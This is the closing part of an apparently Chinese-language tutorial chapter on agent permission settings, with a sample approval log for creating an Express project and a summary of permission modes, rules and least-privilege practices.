[Agent]: 好的,我来帮你创建项目。首先创建 package.json。
────────────────────────────────────────────────────────────
[审批请求] Agent 想要执行 Write
────────────────────────────────────────────────────────────
目标文件: ./package.json
内容预览 (前 200 字符):
{
"name": "express-api",
"version": "1.0.0",
"scripts": {
"start": "node index.js",
"dev": "node --watch index.js"
},
"dependencies": {
"express": "^4.18.0"
}
}
允许此操作? [y]允许 / [n]拒绝 / [a]查看全部参数: y
[已批准]
────────────────────────────────────────────────────────────
[审批请求] Agent 想要执行 Bash
────────────────────────────────────────────────────────────
命令: npm install
允许此操作? [y]允许 / [n]拒绝 / [a]查看全部参数: y
[已批准]
────────────────────────────────────────────────────────────
=== 任务完成 ===
已批准: 5 次
已拒绝: 0 次
────────────────────────────────────────────────────────────
本章小结
回顾一下这一章学到的内容:
为什么需要权限:Agent 能力很强,不加限制可能造成破坏。权限就是给它画红线。
四种权限模式:
plan:只能看不能做(最安全)default:什么都要问你(推荐新手用)acceptEdits:文件操作自动批准(日常开发用)bypassPermissions:全部自动批准(仅限测试/沙箱)
精细化权限规则:用
permissionRules配置 allow/deny/ask 规则,精确控制每个工具、每种操作的权限。deny 优先级最高。canUseTool 回调:运行时动态决策,可以根据具体参数、时间、次数等条件决定是否放行。
最佳实践:
- 最小权限原则 —— 够用就行,别多给
- 从严到松 —— 先严格,确认安全后再放宽
- 分环境配置 —— 生产环境严、测试环境松
- 全量审计 —— 不管允不允许,都记录下来
- 给好理由 —— 拒绝时告诉 Agent 为什么
下一章预告
这一章我们学会了控制 Agent "能做什么"。下一章(第7章:流式输出),我们要学会 "看 Agent 在做什么" —— 让 Agent 实时汇报它的工作进度,就像看直播一样。你将学会 for await 循环的高级用法,理解每种消息类型的含义,以及如何在终端里做一个漂亮的 Agent 实时工作界面。